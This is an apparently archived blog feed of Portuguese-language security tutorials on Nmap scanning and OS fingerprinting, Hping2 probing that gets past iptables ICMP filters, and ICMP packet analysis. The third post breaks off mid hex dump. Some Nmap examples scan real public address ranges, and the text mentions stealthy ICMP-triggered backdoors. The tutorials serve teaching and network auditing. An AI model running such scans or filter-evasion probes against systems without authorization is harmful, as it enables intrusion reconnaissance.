de scan e como eles funcionam vamos as opções e claro também como elas funcionam:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-O : Identificação do sistema operacional via TCP fingerprint, nos mostra qual sistema operacional está rodando em determinado host. O autor do Nmap escreveu um artigo sobre esse assunto em &lt;a href="http://www.insecure.org/nmap/nmap-fingerprinting-article.html"&gt;http://www.insecure.org/nmap/nmap-fingerprinting-article.html&lt;/a&gt; e você encontra uma versão em português em &lt;a href="http://www.absoluta.org/absoluta/seguranca/seg_detect_os.html"&gt;http://www.absoluta.org/absoluta/seguranca/seg_detect_os.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Descrição dos testes:&lt;br /&gt;Tseq -&gt; Teste do número Sequencial ( SEQ )T1 -&gt; Pacote SYN com várias opções enviado para um porta TCP aberta.T2 -&gt; Pacote NULL com as mesmas opções para uma porta aberta.T3 -&gt; Pacotes SYNFINURGPSH com as mesmas opções para uma porta aberta.T4 -&gt; Pacote ACK para uma porta aberta.T5 -&gt; SYN para uma porta fechada.T6 -&gt; ACK para uma porta fechada.T7 -&gt; FINPSHURG para uma porta fechada.PU -&gt; Pacote UDP para uma porta fechada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Esta impressão digital foi uma colaboração de &lt;a href="mailto:qnex@ssw.krakow.pl"&gt;qnex@ssw.krakow.pl&lt;/a&gt;Fingerprint Linux 2.3.12TSeq(Class=RI%gcd=&lt;20%si=&gt;DDDD)T1(Resp=Y%DF=N%W=3F25%ACK=S++%Flags=AS%Ops=MENNTNW)T2(Resp=N)T3(Resp=Y%DF=N%W=3F25%ACK=S++%Flags=AS%Ops=MENNTNW)T4(DF=N%W=0%ACK=O%Flags=R%Ops=)T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)T6(DF=N%W=0%ACK=O%Flags=R%Ops=)T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)PU(DF=N%TOS=C0A00%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)&lt;br /&gt;TSeq(Class=RI%gcd=&lt;20%si=&gt;DDDD)O valor de Class significa que o valor do SEQ ( número seqüencial ) é incrementado randomicamente ( RI == Random Increments ). Caso o valor de Class fosse igual a i800 significaria que o valor de SEQ é multiplicado de 800 do ultimo SEQ ( valores em Hexa ).&lt;br /&gt;&lt;br /&gt;Vejamos agora alguns outros valores dos outros testes acima:&lt;br /&gt;Resp=Y : significa que ouve resposta para este teste;&lt;br /&gt;DF=N : significa que o bit de não fragmentação (Don't Fragment) da resposta não deve/não foi setado;&lt;br /&gt;ACK=S++ : significa que o valor do ACK deve ser o valor inicial do SEQ mais 1;&lt;br /&gt;ACK=S : acho que esse você adivinha ;)&lt;br /&gt;Flags=AS : significa que recebemos de resposta as flags SYN e ACK;Flags=R : recebemos apenas um RST como resposta;&lt;br /&gt;TOS=0 : significa que o campo IP Tipo do Serviço foi 0;&lt;br /&gt;IPLEN : valor total do campo IP length do cabeçalho da mensagem IP ( em hexa);&lt;br /&gt;RIPTL : total do comprimento do cabeçalho IP que é devolvido para nós;&lt;br /&gt;RID=E : Valor que temos de volta numa copia do nosso pacote UDP original.&lt;br /&gt;&lt;br /&gt;Todos estes dados que obtemos de resposta são comparado com o arquivo nmap-os-fingerprints para ver a impressão digital da sua maquina não basta apenas usar o opção -O você deve colocar também a opção -d. Por exemplo :&lt;br /&gt;[root@OwneD /]# nmap -sS 127.0.0.1 -O -d&lt;br /&gt;&lt;br /&gt;Por falar em root é importante mencionar que o Nmap deve ser executado com o superusuário sempre que possível por questões de desempenho e acesso ao sistema.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-I essa opção utiliza o servidor identd para saber quem está rodando determinados processos de um servidor tipo httpd em listen na porta 80. Utiliza uma conexão TCP completa ( -sT ) e claro a máquina scaneada deve estar com o servidor identd rodando.&lt;br /&gt;-v modo verboso.&lt;br /&gt;-o grava a saída em um arquivo de texto.&lt;br /&gt;-i lê os "alvos" a partir de um arquivo.&lt;br /&gt;-p essa opção é bastante interessante como ela você podeespecificar quais portas deseja verificar que estão em listen.&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap 127.0.0.1 -p 21,22,23,80,110,666-1024&lt;br /&gt;Com isso serão scaneadas as portas 21,22,23,80,110 e de 666 até 1024. Para verificar todas as portas basta executar:&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap 127.0.0.1 -p 1-65535&lt;br /&gt;&lt;br /&gt;-F modo Fast Scan diz ao nmap para scanear apenas as portas do serviços existentes no arquivo nmap-services. Essa opção é a padrão.&lt;br /&gt;-g especificar a porta do seu micro de onde será feito scan.&lt;br /&gt;-M número máximo de sockets para ser usado em paralelo com TCP connect(). Isso pode evitar de derrubar algumas Win Box que são normalmente mais frágeis :). Você pode usar -sS para evitar esse problema.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Especificação do alvo.&lt;br /&gt;Você pode especificar os endereços IP das maquinas a serem scaneadas de varia formas.&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap -sS 200.248.156.*&lt;br /&gt;&lt;br /&gt;Este comando scaneará todos os IP de 200.248.156.0 até 200.248.156.255.&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap -sS 200.248.156.0-255&lt;br /&gt;&lt;br /&gt;Este comando produz o mesmo efeito do primeiro. Você pode colocar o * em qualquer lugar como por exemplo :&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap -sP 200.248.*.66&lt;br /&gt;&lt;br /&gt;Ou&lt;br /&gt;&lt;br /&gt;[root@OwneD /]# nmap -sP 200.248.0-255.66 # Mesmo resultado&lt;br /&gt;&lt;br /&gt;Este comando mostrará os hosts que estão ativos no momento.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Espero ter sido claro.&lt;br /&gt;&lt;br /&gt;Abraços a todos&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda&lt;/em&gt;&lt;/strong&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-115199905872904594?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/115199905872904594/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=115199905872904594' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/115199905872904594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/115199905872904594'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2006/07/network-mapper.html' title='.:: The Network Mapper ::.'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112730631664205221</id><published>2005-09-21T09:38:00.000-03:00</published><updated>2007-03-09T09:00:59.086-03:00</updated><title type='text'>Usando o Hping2</title><content type='html'>&lt;div align="justify"&gt;O Hping2 é um software que envia requisições de pacotes utilizando diferentes tipos de payloads e headers, uma ferramenta extremamente útil para spoof de pacotes e packet injection em redes. Ele utiliza libpcap para operar e consegue jogar pacotes por trás de filtros, tornando-se assim extremamente interessante e versátil!&lt;br /&gt;&lt;br /&gt;Vamos fazer um teste simples com o hping2. Usaremos o comando mais básico dele:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;$ hping2 localhost&lt;/b&gt;&lt;br /&gt;RootSec:/ # hping2 localhost&lt;br /&gt;HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 0 data&lt;br /&gt;bytes&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=1.4 ms&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=1.0 ms&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms&lt;br /&gt;&lt;br /&gt;Bom, a primeira vista ele nos retornou respostas normais como um ping faria. Mas ele nos retorna algumas informações preciosas: flags. Como falei de payload anteriormente, também devemos acrescentar que no TCP/IP, quando estamos realizando o ThreeWay-Handshake (se não conhece tente pesquisar), as portas do sistemas retornam flags junto ao payload indicando se estão disponíveis ou não pra conexão:&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;flag=SA significa disponível&lt;/div&gt;&lt;div align="justify"&gt;flag=RA significa indisponível.&lt;br /&gt;&lt;br /&gt;Para o primeiro teste vamos utilizar o iptables barrando comunicação ICMP no nosso host:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# iptables -A INPUT -p icmp -j DROP&lt;br /&gt;&lt;/div&gt;&lt;/b&gt;&lt;div align="justify"&gt;&lt;b&gt;$ ping localhost&lt;/b&gt;&lt;br /&gt;PING localhost (127.0.0.1) 56(84) bytes of data.&lt;br /&gt;&lt;br /&gt;--- localhost ping statistics ---&lt;br /&gt;3 packets transmitted, 0 received, 100% packet loss, time 1999ms&lt;br /&gt;&lt;br /&gt;Como vimos acima, enviamos 3 pacotes e não recebemos nenhum de volta, ou seja os pacotes foram filtrados.&lt;br /&gt;&lt;br /&gt;Agora entra em cena o hping, onde não precisamos obrigatoriamente enviar requisições ICMP para pingar o host, podemos usar pacotes SYN:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# hping --icmp localhost&lt;/b&gt;&lt;br /&gt;HPING localhost (lo 127.0.0.1): icmp mode set, 28 headers + 0 data bytes&lt;br /&gt;&lt;br /&gt;--- localhost hping statistic ---&lt;br /&gt;2 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;&lt;br /&gt;round-trip min/avg/max = 0.0/0.0/0.0 ms &lt;b&gt;/* Foi bloqueado */&lt;/b&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;b&gt;# hping --syn localhost&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=11.1&lt;br /&gt;ms&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=0.4 ms&lt;br /&gt;len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms&lt;br /&gt;&lt;br /&gt;--- localhost hping statistic ---&lt;br /&gt;3 packets tramitted, 3 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.4/4.0/11.1 ms&lt;br /&gt;&lt;br /&gt;Conseguimos, o host que estava bloqueando requisições ping com echo_request agora não pode fazer nada contra nossa requisição usando pacotes --syn.&lt;br /&gt;&lt;br /&gt;Vamos mais além agora, vamos usar o hping para verificar portas filtradas em nosso sistema alvo. Iremos utilizar o mesmo princípio usado acima. Como exemplo usaremos a porta 25. &lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;tcp&lt;span style="font-size:0;"&gt;    &lt;/span&gt;0&lt;span style="font-size:0;"&gt;   &lt;/span&gt;0 127.0.0.1:25&lt;span style="font-size:0;"&gt;      &lt;/span&gt;0.0.0.0:*&lt;span style="font-size:0;"&gt;          &lt;/span&gt;LISTEN&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="MARGIN-BOTTOM: 12pt" align="justify"&gt;&lt;br /&gt;&lt;br /&gt;Se conectarmos com telnet nela teremos a resposta do servidor de email que configuramos no em nossa máquina:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;$ telnet localhost 25&lt;/b&gt;&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;&lt;span lang="EN-US"&gt;Connected to localhost.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;220 I-secure.local ESMTP Postfix&lt;br /&gt;&lt;b&gt;quit&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Muito bem, tendo em vista que a porta esta aberta normalmente vamos verificá-la usando o hping:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# hping2 --syn localhost -p 25&lt;/b&gt;&lt;br /&gt;HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes&lt;br /&gt;len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=25 flags=SA seq=0 win=32767 rtt=3.1 ms&lt;br /&gt;len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=25 flags=SA seq=1 win=32767 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- localhost hping statistic ---&lt;br /&gt;2 packets tramitted, 2 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/1.9/3.1 ms&lt;br /&gt;&lt;br /&gt;Ele nos retornou a flag SA, significa que a porta está aberta e esperando conexão. &lt;/span&gt;Agora iremos filtrá-la com o iptables:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# iptables -A INPUT -p tcp --dport 25 -j DROP&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Seria esse o método que a maioria de nós usaria não é?&lt;br /&gt;&lt;br /&gt;Ok, vamos agora tentar obter alguma informação usando o hping:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# hping --syn localhost -p 25&lt;/b&gt;&lt;br /&gt;HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes&lt;br /&gt;ICMP Packet filtered from ip=127.0.0.1 name=localhost port=25&lt;br /&gt;ICMP Packet filtered from ip=127.0.0.1 name=localhost port=25&lt;br /&gt;ICMP Packet filtered from ip=127.0.0.1 name=localhost port=25&lt;br /&gt;&lt;br /&gt;Hum, interessante, ele nos mostrou que a porta estava sendo "filtrada", portanto o que podemos concluir? Que a porta está aberta do outro lado, e que o serviço provavelmente está on-line.&lt;br /&gt;&lt;br /&gt;Esta conclusão é importante, vejamos por exemplo quem em nosso servidor tem um filtro de portas liberando apenas algumas portas como 80, 21 e 25. Existe um software chamado &lt;i&gt;barricade&lt;/i&gt; que mediante determinado pacote ICMP de tamanho de flags determinadas, desativa o filtro e libera a porta e quando o cliente fecha ele volta a travar a porta.&lt;br /&gt;&lt;br /&gt;Imaginem o perigo desse tipo de ferramenta em nossa rede, então devemos não apenas filtrar, mas controlar o quê está sendo usado no servidor. &lt;span style="font-family:';"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN-BOTTOM: 12pt" align="justify"&gt;(Maiores informações com y2hack no artigo do Viva o Linux: &lt;a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=1067&amp;pagina=3"&gt;http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=1067&amp;amp;pagina=3&lt;/a&gt;# )&lt;/p&gt;&lt;p class="MsoNormal" style="MARGIN-BOTTOM: 12pt" align="justify"&gt;&lt;br /&gt;&lt;b&gt;Considerações finais&lt;/b&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div align="justify"&gt;Bom, chegamos ao final deste texto tão prometido. Espero ter ajudado alguém a adicionar um pouco de conhecimento a mais. Existem infinitos esquemas usando hping com spoofing e outras técnicas, cabem a todos desvendá-las.&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Abraços&lt;/div&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;strong&gt;&lt;em&gt;Mário Miranda de Magalhães&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13818048-112730631664205221?l=drkmario.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://drkmario.blogspot.com/feeds/112730631664205221/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13818048&amp;postID=112730631664205221' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112730631664205221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13818048/posts/default/112730631664205221'/><link rel='alternate' type='text/html' href='http://drkmario.blogspot.com/2005/09/usando-o-hping2.html' title='Usando o Hping2'/><author><name>DrK</name><uri>http://www.blogger.com/profile/10828558378318057645</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_P03K0mNYCME/RtA5hNWeyQI/AAAAAAAABHs/DEVXql0el04/s400/Mario_olhos_com_sombra.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13818048.post-112713778880918416</id><published>2005-09-19T10:48:00.003-03:00</published><updated>2009-12-26T09:51:35.663-02:00</updated><title type='text'>Analise de pacotes TCP/ ICMP</title><content type='html'>&lt;div align="justify"&gt;(Retirado de um algum lugar a muito tempo atrás e com créditos reclamados pelo &lt;a href="http://y2h4ck.wordpress.com/"&gt;y2h4ck&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Como disse anteriormente, o tutorial de spoofing com o hping2 está pronto. Mas para as pessoas poderem entenderem melhor como funciona o esquema, resolvi antes colocar como se faz uma analise de pacotes IP e ICMP. Para assim ver como funciona uma rede de verdade!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pequena explicação sobre payload&lt;/span&gt; &lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Como sabemos, os esquemas de backdooring vão evoluindo muito com o tempo, temos backdoors que são extremamente furtivas e que não precisam nem bindar portas em servidores, são os casos de &lt;i&gt;wwwtunnels&lt;/i&gt;, e túneis de ICMP que são ativados por pacotes de determinados tamanhos.&lt;br /&gt;&lt;br /&gt;Quando analisamos um pacote que enviamos na internet (rede), ele teria essa cara: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;pre&gt;+---------------+--------------------------+&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;  &lt;/span&gt;Header&lt;span style="font-size:0pt;"&gt;       &lt;/span&gt;&lt;span style="font-size:0pt;"&gt;        &lt;/span&gt;Payload&lt;span style="font-size:0pt;"&gt;           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;+---------------+--------------------------+&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Onde o header carrega as informações de onde o pacote vem para onde o pacote vai e o &lt;i&gt;Payload&lt;/i&gt; carrega o conteúdo do pacote principal, como por exemplo os dados que estamos transmitindo.&lt;br /&gt;&lt;br /&gt;Vamos analisar um pacote real, usando um pacote ICMP comum de um ping por exemplo: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:05:07.647489 localhost &gt; localhost: icmp: echo request (DF) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(ttl 64, id 0, len 84)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;4500 0054 0000 4000 4001 3ca7 7f00 0001&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..T..@.@.&lt;.....&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;7f00 0001 0800 4e26 8407 0001 c3ac dd40&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;......N&amp;amp;.......@&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;90e0 0900 0809 0a0b 0c0d 0e0f 1011 1213&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;1415 1617 1819 1a1b 1c1d 1e1f 2021 2223&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;............ !"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;2425 2627 2829 2a2b 2c2d 2e2f 3031 3233&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;3435 3637&lt;span style="font-size:0pt;"&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;Vamos desvendar esse pacote:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:05:07.647489 localhost &gt; localhost: icmp: echo request (DF) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(ttl 64, id 0, len 84)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Essa linha contém o header do nosso pacote, como podemos ver temos a hora que o pacote foi enviado, de onde foi enviado, &gt; para quem foi enviado, o tipo de pacote (icmp) echo_request, e as informações adicionais como ttl, e uma coisa importante, o id do pacote. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;4500 0054 9a7a 0000 4001 e22c 7f00 0001&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..T.z..@..,....&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;span lang="EN-US"&gt;7f00 0001 0000 5626 8407 0001 c3ac dd40&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;......V&amp;amp;.......@&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;90e0 0900 0809 0a0b 0c0d 0e0f 1011 1213&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;1415 1617 1819 1a1b 1c1d 1e1f 2021 2223&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;............ !"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;2425 2627 2829 2a2b 2c2d 2e2f 3031 3233&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;3435 3637&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Esse é o &lt;i&gt;Payload&lt;/i&gt; do nosso pacote contendo as informações que estamos transmitindo, essa saída ao lado: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;pre&gt;E..T.z..@..,....&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;div align="justify"&gt;&lt;pre&gt;......V&amp;amp;.......@&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;................&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;............ !"#&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;$%&amp;amp;'()*+,-./0123&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;4567&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="margin-bottom: 12pt;" align="justify"&gt;Foi o que o &lt;span style="font-style: italic;"&gt;ethereal &lt;/span&gt;transformou em ASCII para nos podermos ler. Você entendeu algo? Bom eu também não, mas isso não importa, vamos continuar nossa análise, você verá que esse pequeno conhecimento guardado até agora será muito importante em nossa análise. &lt;span style="font-size:0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 12pt;" align="justify"&gt;&lt;br /&gt;&lt;b&gt;Verificando padrões&lt;/b&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;table border="0" cellpadding="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="padding: 0.75pt;"&gt;&lt;p class="MsoNormal" align="justify"&gt;No &lt;i&gt;Payload&lt;/i&gt; temos algumas coisas que são padrões, como por exemplo, a segunda linha, segunda coluna, vamos analisá-la um pouco. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt; &lt;/span&gt;7f00 0001 0800 4e26 8407 0001 c3ac dd40&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class="MsoNormal" align="justify"&gt;Iremos analisar vários pacotes e ver o que ocorre a esta linha: &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;14:12:08.089911 localhost &gt; localhost: icmp: echo request (DF) &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;(ttl 64, id 0, len 84)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;&lt;/span&gt;4500 0054 0000 4000 4001 3ca7 7f00 0001&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;E..T..@.@.&lt;.....&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;7f00 0001 0800 619c 9d07 000b 68ae dd40&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;......a.....h..@&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;c75e 0100 0809 0a0b 0c0d 0e0f 1011 1213&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;.^..............&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;pre&gt;&lt;span style="font-size:0pt;"&gt;    &lt;/span&gt;1415 1617 1819 1a1b 1c1d 1e1f 2021 2223&lt;span style="font-size:0pt;"&gt;      &lt;/span&gt;............ 